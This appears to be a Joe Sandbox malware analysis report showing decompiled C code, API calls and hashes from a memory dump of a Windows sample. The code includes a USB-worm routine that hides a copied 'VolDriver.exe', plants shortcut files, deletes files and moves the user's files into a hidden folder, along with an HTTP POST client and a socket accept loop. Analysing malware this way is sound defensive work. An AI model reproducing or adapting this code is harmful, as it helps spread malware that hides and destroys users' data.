					_t41 =  *0x417630; // 0x4660028
					 *((intOrPtr*)(_t41 + 0x14)) = _t58;
				}
				_t36 =  *0x417630; // 0x4660028
				_t37 = E00409EC0(_a4, _t86, _a4, _t36, _a28, _a32); // executed
				return _t37;
			}

0x00409f66
0x00409f6e
0x00409f70
0x00409f79
0x00409f84
0x00409f89
0x00409f8c
0x00409f8c
0x00409f98
0x00409f9f
0x00409fa4
0x00409fa7
0x00409fac
0x00409fb3
0x00409fbc
0x00409fbf
0x00409fc7
0x00409fca
0x00409fd3
0x00409fd6
0x00409fdc
0x00409fe7
0x00409fed
0x00409ff6
0x00409ffd
0x00409fff
0x0040a00c
0x0040a011
0x0040a014
0x0040a01a
0x0040a01d
0x0040a028
0x0040a031
0x0040a036
0x0040a036
0x0040a039
0x0040a048
0x0040a04e
0x0040a05d
0x0040a062
0x0040a068
0x0040a072
0x0040a078
0x0040a078
0x0040a07b
0x0040a080
0x0040a080
0x0040a08b
0x0040a095
0x0040a0a0

APIs

memset.NTDLL ref: 00409F9F

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: ceb0b3363d9c775dd2098eafacf6576df0e8b3955d382d3e647a225eb53606a2
Instruction ID: e425cd8e01b108ff0861438508daeb1939ae9ade08a4d14ec08a2a63a7bd6065
Opcode Fuzzy Hash: ceb0b3363d9c775dd2098eafacf6576df0e8b3955d382d3e647a225eb53606a2
Instruction Fuzzy Hash: 8D412CB5A15604DFC708CF08EA91EAA77B2FB88314F10817DE8095B391D734E956CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 00408620 Relevance: 1.3, APIs: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00408620(void* _a4, void* _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _t36;
				void* _t68;
				void* _t69;
				void* _t71;

				if(_a4 != 0) {
					if( *((intOrPtr*)(_a4 + 0x10c)) != 0) {
						if( *(_a4 + 0x120) != 1) {
							if( *((intOrPtr*)(_a4 + 0x174)) != 1) {
								_v8 = 1;
								while(_v8 <=  *((intOrPtr*)(_a4 + 0x174))) {
									if( *((intOrPtr*)(_a4 + 0x3b78 + _v8 * 4)) <= 0) {
										_v8 = _v8 + 1;
										continue;
									}
									break;
								}
								L14:
								_t36 = E00407F90(_a4, _v8, 1); // executed
								_t69 = _t68 + 0xc;
								_v12 = _t36;
								if(_v12 == 0) {
									E00407A40(_a4 + 8, _a4 + 8, 0x10);
									_t66 = _a4;
									E00408510(_a4, _a4);
									_t71 = _t69 + 0xc;
									if(_a8 != 0) {
										asm("cdq");
										_t66 = _a8;
										memcpy(_a8, _a4 + 8,  *_a4 + 7 + (_a8 & 0x00000007) >> 3);
										_t71 = _t71 + 0xc;
									}
									E00408460(_t66, _a4);
									 *(_a4 + 0x120) = 1;
									return 0;
								}
								return _v12;
							}
							_v8 = 1;
							goto L14;
						}
						return 0;
					}
					return 5;
				}
				return 3;
			}

0x0040862a
0x00408640
0x00408656
0x00408669
0x00408674
0x00408686
0x004086a2
0x00408683
0x00000000
0x00408683
0x00000000
0x004086a4
0x004086a8
0x004086b2
0x004086b7
0x004086ba
0x004086c1
0x004086d1
0x004086d9
0x004086dd
0x004086e2
0x004086e9
0x004086f3
0x00408704
0x00408708
0x0040870d
0x0040870d
0x00408714
0x0040871f
0x00000000
0x00408729
0x00000000
0x004086c3
0x0040866b
0x00000000
0x0040866b
0x00000000
0x00408658
0x00000000
0x00408642
0x00000000

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7660fb0b8a2853db22bf974449fae69c1642a48b9da066cf7d9c0f2c50659128
Instruction ID: 292dd43053ad6225b6992450cf0b05fd0c33cfe4ee31c93501746e46cd6df3e6
Opcode Fuzzy Hash: 7660fb0b8a2853db22bf974449fae69c1642a48b9da066cf7d9c0f2c50659128
Instruction Fuzzy Hash: 88318174900108EBCB00DF54CA45BAD37B1AB54348F24857EE9496F3C1DB7AEA91DB8A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404FC0 Relevance: 75.5, APIs: 32, Strings: 11, Instructions: 293
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404FC0(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16) {
				short _v524;
				short _v1044;
				short _v1564;
				short _v2084;
				intOrPtr _v2088;
				short _v2612;
				short _v3132;
				char _v3133;
				struct _WIN32_FIND_DATAW _v3732;
				short _v4252;
				void* _v4256;
				short _v4780;
				intOrPtr _v4784;
				WCHAR* _v4788;
				WCHAR* _v4792;
				WCHAR* _v4796;
				WCHAR* _v4800;
				WCHAR* _v4804;
				intOrPtr _v4808;
				WCHAR* _v4812;
				WCHAR* _v4816;
				WCHAR* _v4820;
				WCHAR* _v4824;
				WCHAR* _v4828;
				WCHAR* _v4832;
				WCHAR* _v4836;
				WCHAR* _v4840;
				WCHAR* _v4844;
				WCHAR* _v4848;
				WCHAR* _v4852;
				WCHAR* _v4856;
				WCHAR* _v4860;
				signed char _v4861;
				signed char _v4862;
				signed int _v4868;
				signed int _v4872;
				intOrPtr _t167;
				intOrPtr _t195;
				void* _t218;
				void* _t219;
				void* _t224;

				L0040EE0A();
				if((_a12 & 0x00080000) != 0) {
					return 0;
				}
				_v2088 = 0x415124;
				_v3133 = 0;
				wsprintfW( &_v1564, L"%s.lnk", _a8);
				wsprintfW( &_v4252, L"%s\\%s", _a4, _v2088);
				wsprintfW( &_v4780, L"%s\\%s\\VolDriver.exe", _a4, _v2088);
				wsprintfW( &_v2612, L"%s\\%s", _a4,  &_v1564);
				wsprintfW( &_v1044, L"%s\\*", _a4);
				_t224 = _t219 + 0x48;
				if(PathFileExistsW( &_v4780) != 0) {
					_t167 = E0040D180( &_v4780);
					_t224 = _t224 + 4;
					_v4784 = _t167;
					_t195 =  *0x4163b8; // 0x13c00
					if(_t195 != _v4784) {
						SetFileAttributesW( &_v4780, 0x80);
						DeleteFileW( &_v4780);
					}
				}
				if(PathFileExistsW( &_v4780) == 0) {
					if(PathFileExistsW( &_v4252) == 0 && CreateDirectoryW( &_v4252, 0) != 0) {
						SetFileAttributesW( &_v4252, 2);
					}
					if(PathFileExistsW( &_v4252) != 0 && CopyFileW(0x4163c0,  &_v4780, 0) != 0) {
						SetFileAttributesW( &_v4780, 2);
					}
				}
				if(PathFileExistsW( &_v2612) == 0) {
					if((_a16 & 0x000000ff) == 0) {
						E00404D70( &_v2612, L"shell32.dll", 8);
						_t224 = _t224 + 0xc;
					} else {
						E00404D70( &_v2612, L"shell32.dll", 9);
						_t224 = _t224 + 0xc;
					}
					SetFileAttributesW( &_v2612, 1);
				}
				_v4256 = FindFirstFileW( &_v1044,  &_v3732);
				if(_v4256 == 0xffffffff) {
					L45:
					return _v3133;
				} else {
					_v4860 = L"*.lnk";
					_v4856 = L"*.vbs";
					_v4852 = L"*.js";
					_v4848 = L"*.scr";
					_v4844 = L"*.com";
					_v4840 = L"*.jse";
					_v4836 = L"*.cmd";
					_v4832 = L"*.pif";
					_v4828 = L"*.jar";
					_v4824 = L"*.dll";
					_v4820 = L"*.vbe";
					_v4816 = L"*.bat";
					_v4812 = L"*.inf";
					_v4808 = _v2088;
					_v4804 =  &_v1564;
					_v4800 = L"Thumbs.db";
					_v4796 = L"$RECYCLE.BIN";
					_v4792 = L"desktop.ini";
					_v4788 = L"System Volume Information";
					do {
						if(lstrcmpW( &(_v3732.cFileName), ".") != 0 && lstrcmpW( &(_v3732.cFileName), L"..") != 0) {
							_v4862 = 0;
							_v4868 = 0;
							while(_v4868 < 6) {
								if(lstrcmpiW( &(_v3732.cFileName),  *(_t218 + _v4868 * 4 - 0x12c4)) == 0) {
									_v4862 = 1;
									break;
								}
								_v4868 = _v4868 + 1;
							}
							if((_v4862 & 0x000000ff) == 0) {
								_v4861 = 0;
								_v4872 = 0;
								while(_v4872 < 0xd) {
									if(PathMatchSpecW( &(_v3732.cFileName),  *(_t218 + _v4872 * 4 - 0x12f8)) != 0) {
										wsprintfW( &_v2084, L"%s\\%s", _a4,  &(_v3732.cFileName));
										_t224 = _t224 + 0x10;
										SetFileAttributesW( &_v2084, 0x80);
										DeleteFileW( &_v2084);
										_v4861 = 1;
										break;
									}
									_v4872 = _v4872 + 1;
								}
								if((_v4861 & 0x000000ff) == 0) {
									if(PathFileExistsW( &_v4252) != 0) {
										wsprintfW( &_v3132, L"%s\\%s", _a4,  &(_v3732.cFileName));
										wsprintfW( &_v524, L"%s\\%s\\%s", _a4, _v2088,  &(_v3732.cFileName));
										_t224 = _t224 + 0x24;
										if((_v3732.dwFileAttributes & 0x00000010) == 0) {
											MoveFileExW( &_v3132,  &_v524, 9);
										} else {
											E00404E80( &_v3132,  &_v524);
											_t224 = _t224 + 8;
										}
									}
								}
								goto L43;
							}
						}
						L43:
					} while (FindNextFileW(_v4256,  &_v3732) != 0);
					FindClose(_v4256);
					goto L45;
				}
			}

APIs

_chkstk.NTDLL(?,00405610,?,?,?), ref: 00404FC8
wsprintfW.USER32 ref: 00404FFF
wsprintfW.USER32 ref: 0040501F
wsprintfW.USER32 ref: 0040503F
wsprintfW.USER32 ref: 0040505F
wsprintfW.USER32 ref: 00405078
PathFileExistsW.SHLWAPI(?), ref: 00405088
SetFileAttributesW.KERNEL32(?,00000080), ref: 004050C1
DeleteFileW.KERNEL32(?), ref: 004050CE
PathFileExistsW.SHLWAPI(?), ref: 004050DB
PathFileExistsW.SHLWAPI(?), ref: 004050EC
CreateDirectoryW.KERNEL32(?,00000000), ref: 004050FF
SetFileAttributesW.KERNEL32(?,00000002), ref: 00405112
PathFileExistsW.SHLWAPI(?), ref: 0040511F
CopyFileW.KERNEL32 ref: 00405137
SetFileAttributesW.KERNEL32(?,00000002), ref: 0040514A

Strings

%s\%s, xrefs: 0040537E
%s\%s, xrefs: 00405013
shell32.dll, xrefs: 0040516B
%s\%s\VolDriver.exe, xrefs: 00405033
$QA, xrefs: 00404FDE
%s\%s, xrefs: 00405053
%s\*, xrefs: 0040506C
shell32.dll, xrefs: 00405183
%s\%s\%s, xrefs: 00405418
%s.lnk, xrefs: 00404FF3
%s\%s, xrefs: 004053F1

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$Attributes$CopyCreateDeleteDirectory_chkstk
String ID: $QA$%s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\VolDriver.exe$%s\*$shell32.dll$shell32.dll
API String ID: 3833403615-723921974
Opcode ID: bc23619f8dc30859a07966784ca3ed239acb01018f2188f41b04a5a3b5a0ba6e
Instruction ID: f358d4f12602216a8cf7219611423f3e74dfa0c58bc439e6418ed54077a909fe
Opcode Fuzzy Hash: bc23619f8dc30859a07966784ca3ed239acb01018f2188f41b04a5a3b5a0ba6e
Instruction Fuzzy Hash: 2DD18175900218ABCB20DF60DC48FEA77B8FF44305F0485EAE609A6291D7B99BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00404E80 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85
filestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E80(WCHAR* _a4, char _a8) {
				short _v524;
				struct _WIN32_FIND_DATAW _v1116;
				void* _v1120;
				short _v1644;
				short _v2164;
				void* _t29;
				void* _t60;
				void* _t61;

				_t1 =  &_a8; // 0x40544b
				CreateDirectoryW( *_t1, 0);
				wsprintfW( &_v524, L"%s\\*", _a4);
				_t61 = _t60 + 0xc;
				_t29 = FindFirstFileW( &_v524,  &_v1116);
				_v1120 = _t29;
				if(_v1120 == 0xffffffff) {
					return _t29;
				} else {
					goto L1;
				}
				do {
					L1:
					if(lstrcmpW( &(_v1116.cFileName), ".") != 0 && lstrcmpW( &(_v1116.cFileName), L"..") != 0) {
						wsprintfW( &_v1644, L"%s\\%s", _a4,  &(_v1116.cFileName));
						_t14 =  &_a8; // 0x40544b
						wsprintfW( &_v2164, L"%s\\%s",  *_t14,  &(_v1116.cFileName));
						_t61 = _t61 + 0x20;
						if((_v1116.dwFileAttributes & 0x00000010) == 0) {
							MoveFileExW( &_v1644,  &_v2164, 9);
						} else {
							E00404E80( &_v1644,  &_v2164);
							_t61 = _t61 + 8;
						}
					}
				} while (FindNextFileW(_v1120,  &_v1116) != 0);
				FindClose(_v1120);
				return RemoveDirectoryW(_a4);
			}

APIs

CreateDirectoryW.KERNEL32(KT@,00000000), ref: 00404E8F
wsprintfW.USER32 ref: 00404EA5
FindFirstFileW.KERNEL32(?,?), ref: 00404EBC
lstrcmpW.KERNEL32(?,0041160C), ref: 00404EE1
lstrcmpW.KERNEL32(?,00411610), ref: 00404EF7
wsprintfW.USER32 ref: 00404F1A
wsprintfW.USER32 ref: 00404F3A
MoveFileExW.KERNEL32(?,?,00000009), ref: 00404F76
FindNextFileW.KERNEL32(000000FF,?), ref: 00404F8A
FindClose.KERNEL32(000000FF), ref: 00404F9F
RemoveDirectoryW.KERNEL32(?), ref: 00404FA9

Strings

%s\%s, xrefs: 00404F0E
%s\%s, xrefs: 00404F2E
%s\*, xrefs: 00404E99
KT@, xrefs: 00404E8B, 00404F2A, 00404E8E, 00404F2D

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*$KT@
API String ID: 92872011-1718218466
Opcode ID: 4e32471b6f213224bbe50e7f945d3dfc794eb29b83275571e89e3b03adfc3a4e
Instruction ID: f84c23499f796ae609c643b61d0d113fdbb715ac4c7aa211f5e11142a609d372
Opcode Fuzzy Hash: 4e32471b6f213224bbe50e7f945d3dfc794eb29b83275571e89e3b03adfc3a4e
Instruction Fuzzy Hash: 553145B5500218ABCB10DFA0DC88FDA7778BB88301F0085A9F709A6195DB79DAC4CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040E400 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138
networksynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040E400(intOrPtr* _a4) {
				intOrPtr _v64;
				char _v68;
				long _v72;
				signed char _v80;
				long _v92;
				char _v96;
				char _v100;
				void* __ebx;
				void* __edi;
				void* __ebp;
				long _t31;
				long _t33;
				long _t34;
				long _t42;
				intOrPtr _t49;
				intOrPtr* _t56;
				intOrPtr _t70;
				intOrPtr* _t73;
				long _t74;
				intOrPtr _t75;
				struct _CRITICAL_SECTION* _t76;
				intOrPtr* _t77;
				void* _t78;
				signed int _t79;
				void* _t81;

				_t81 = (_t79 & 0xfffffff8) - 0x44;
				_t31 = GetTickCount();
				_t56 = _a4;
				_v72 = _t31;
				_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				if(_t33 == 0) {
					L25:
					return _t33;
				} else {
					goto L1;
				}
				do {
					L1:
					_t73 = _t56 + 0x18;
					__imp__WSAWaitForMultipleEvents(1, _t73, 0, 0, 0);
					if(_t33 != 0x102) {
						__imp__WSAEnumNetworkEvents( *((intOrPtr*)(_t56 + 0x14)),  *_t73,  &_v68);
						if((_v80 & 0x00000008) != 0 && _v64 == 0 &&  *_t56 == 0x494f4350) {
							_t49 =  *((intOrPtr*)(_t56 + 0x14));
							_v100 = 0x10;
							__imp__#1(_t49,  &_v96,  &_v100);
							if(_t49 != 0xffffffff) {
								_t77 = E0040DF90(_t56, _t49);
								_t81 = _t81 + 4;
								if(_t77 != 0) {
									_t15 = _t77 + 0x264; // 0x264
									E0040E220(0, _t77, _t56, _t15);
									_t81 = _t81 + 8;
									if( *((char*)(_t77 + 0x274)) == 0 &&  *_t77 == 0x69636c69) {
										E0040E7D0(_t77);
									}
								}
							}
						}
					}
					_t34 = GetTickCount();
					_t74 = _v92;
					if(_t34 - _t74 < 0x3e8) {
						if(GetTickCount() - _t74 < 0x2710) {
							goto L24;
						}
						EnterCriticalSection(_t56 + 0x20);
						_t75 =  *((intOrPtr*)(_t56 + 0x38));
						if(_t75 == 0) {
							L23:
							LeaveCriticalSection(_t56 + 0x20);
							_v92 = GetTickCount();
							goto L24;
						} else {
							goto L19;
						}
						do {
							L19:
							_t42 = InterlockedExchangeAdd(_t75 + 4, 0);
							if(E0040BE60() - _t42 >= 0x1e) {
								_t45 =  *((intOrPtr*)(_t75 + 0x260));
								if( *((intOrPtr*)(_t75 + 0x260)) != 0xffffffff) {
									E00409600(_t45);
									_t81 = _t81 + 4;
									 *((intOrPtr*)(_t75 + 0x260)) = 0xffffffff;
								}
							}
							_t75 =  *((intOrPtr*)(_t75 + 0x280));
						} while (_t75 != 0);
						goto L23;
					}
					_t76 = _t56 + 0x20;
					EnterCriticalSection(_t76);
					_t70 =  *((intOrPtr*)(_t56 + 0x38));
					if(_t70 == 0) {
						L16:
						LeaveCriticalSection(_t76);
						goto L24;
					}
					while( *((intOrPtr*)(_t70 + 0x260)) != 0xffffffff) {
						_t70 =  *((intOrPtr*)(_t70 + 0x280));
						if(_t70 != 0) {
							continue;
						} else {
							LeaveCriticalSection(_t76);
							goto L24;
						}
					}
					E0040E300(_t56, _t70, _t78);
					goto L16;
					L24:
					_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				} while (_t33 != 0);
				goto L25;
			}

APIs

GetTickCount.KERNEL32 ref: 0040E40C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E41F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 0040E439
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 0040E456
accept.WS2_32(?,?,?), ref: 0040E488
GetTickCount.KERNEL32 ref: 0040E4D6
EnterCriticalSection.KERNEL32(?), ref: 0040E4E9
LeaveCriticalSection.KERNEL32(?), ref: 0040E50A
LeaveCriticalSection.KERNEL32(?), ref: 0040E51B
GetTickCount.KERNEL32 ref: 0040E523
EnterCriticalSection.KERNEL32(?), ref: 0040E532
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E545
LeaveCriticalSection.KERNEL32(?), ref: 0040E585
GetTickCount.KERNEL32 ref: 0040E58B
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E59B

Strings

PCOI, xrefs: 0040E46A
ilci, xrefs: 0040E4C1

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: e061771aa0f445f024457eb283919c0dbd6c06df5abae74199e20b4c22fa87b5
Instruction ID: 917b59bc2a3588b9956fd89eac52db2b1e6dcbcc9db4fe113c03d7dfd46bf168
Opcode Fuzzy Hash: e061771aa0f445f024457eb283919c0dbd6c06df5abae74199e20b4c22fa87b5
Instruction Fuzzy Hash: 29413671500200ABCB209F75DC8CB9B77A9AF44714F048E3EF955A72C1EB78E891CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CD60 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040CD60(char* _a4, char* _a8, void* _a12, long* _a16) {
				char _v260;
				char _v772;
				char* _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				long _v856;
				void _v1884;
				long _v1888;
				void* _t102;
				void* _t103;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t103 = _t102 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA("Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)", 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
						_v848 = HttpOpenRequestA(_v844, "POST",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							HttpAddRequestHeadersA(_v848, _a8, 0xffffffff, 0xa0000000);
							_v852 = "Content-Type: text/xml; charset=\"utf-8\"\r\nConnection: Close\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n";
							if(HttpSendRequestA(_v848, _v852, 0xffffffff, _a12,  *_a16) != 0) {
								_v856 = 0;
								while(1 != 0) {
									_t98 = _v848;
									if(InternetReadFile(_v848,  &_v1884, 0x400,  &_v1888) != 0 && _v1888 != 0) {
										_v776 = E00408B60(_v776, _t98, _v776, _v856 + _v1888);
										memcpy( &(_v776[_v856]),  &_v1884, _v1888);
										_t103 = _t103 + 0x14;
										_v856 = _v856 + _v1888;
										continue;
									}
									break;
								}
								 *_a16 = _v856;
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}

APIs

memset.NTDLL ref: 0040CD88
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040CDD8
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040CDEB
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040CE24
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040CE5A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040CE85
HttpSendRequestA.WININET(00000000,004108D0,000000FF,00009E34), ref: 0040CEAF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040CEEE
memcpy.NTDLL(00000000,?,00000000), ref: 0040CF40
InternetCloseHandle.WININET(00000000), ref: 0040CF71
InternetCloseHandle.WININET(00000000), ref: 0040CF7E
InternetCloseHandle.WININET(00000000), ref: 0040CF8B

Strings

<, xrefs: 0040CD90
POST, xrefs: 0040CE4E
Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040CDE6

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: c6376e83d60c8fd7847bc7aaada5821a3adf07af9ef20e77e1c46dfbd3437302
Instruction ID: ea500a29b1865390ea74af70c7a13144c6f50436d918f4b951375f33d6e11f24
Opcode Fuzzy Hash: c6376e83d60c8fd7847bc7aaada5821a3adf07af9ef20e77e1c46dfbd3437302
Instruction Fuzzy Hash: 0A512CB5900228ABDB26DF54CC94BD973BDAB48705F1081E9B60DA62C0C7B86FC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040E0E0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 93
networkCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040E0E0(intOrPtr* __edi) {
				void* __esi;
				void* _t25;
				long _t40;
				intOrPtr* _t53;
				intOrPtr* _t55;
				void* _t56;
				LONG* _t62;

				_t53 = __edi;
				if(__edi == 0 ||  *__edi != 0x494f4350) {
					return _t25;
				} else {
					_t1 = _t53 + 0x20; // 0x20
					EnterCriticalSection(_t1);
					_t55 =  *((intOrPtr*)(__edi + 0x38));
					if(_t55 == 0) {
						L11:
						_t13 = _t53 + 0x20; // 0x20
						LeaveCriticalSection(_t13);
						SetEvent( *(_t53 + 0x10));
						_t56 = 0;
						if( *((intOrPtr*)(_t53 + 4)) <= 0) {
							L14:
							E0040BC90( *((intOrPtr*)(_t53 + 0xc)), 0xffffffff);
							E0040BDD0( *((intOrPtr*)(_t53 + 0xc)));
							CloseHandle( *(_t53 + 8));
							CloseHandle( *(_t53 + 0x10));
							__imp__WSACloseEvent( *((intOrPtr*)(_t53 + 0x18)));
							E00409600( *((intOrPtr*)(_t53 + 0x14)));
							_t24 = _t53 + 0x20; // 0x20
							DeleteCriticalSection(_t24);
							return E00408C70(_t53);
						}
						do {
							PostQueuedCompletionStatus( *(_t53 + 8), 0, 0, 0);
							_t56 = _t56 + 1;
						} while (_t56 <  *((intOrPtr*)(_t53 + 4)));
						goto L14;
					} else {
						goto L3;
					}
					do {
						L3:
						if( *_t55 == 0x69636c69) {
							if( *((char*)(_t55 + 0x275)) == 0) {
								_t62 = _t55 + 0x21c;
								_t40 = InterlockedExchangeAdd(_t62, 0);
								if(_t40 == 0) {
									 *(_t55 + 0x230) = _t40;
									 *((intOrPtr*)(_t55 + 0x220)) = 1;
									 *((intOrPtr*)(_t55 + 0x228)) = _t55 + 8;
									 *((intOrPtr*)(_t55 + 0x22c)) = 0x200;
									InterlockedIncrement(_t62);
									if(E0040E730(_t55) == 0) {
										InterlockedDecrement(_t62);
									}
								}
							}
						}
						_t55 =  *((intOrPtr*)(_t55 + 0x280));
					} while (_t55 != 0);
					goto L11;
				}
			}

APIs

EnterCriticalSection.KERNEL32(00000020,0040B950,?,0040EC84), ref: 0040E0FA
InterlockedDecrement.KERNEL32(?), ref: 0040E126
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E13E
InterlockedIncrement.KERNEL32(?), ref: 0040E16C
InterlockedDecrement.KERNEL32(?), ref: 0040E17C
LeaveCriticalSection.KERNEL32(00000020,?,0040EC84), ref: 0040E194
SetEvent.KERNEL32(?,?,0040EC84), ref: 0040E19E
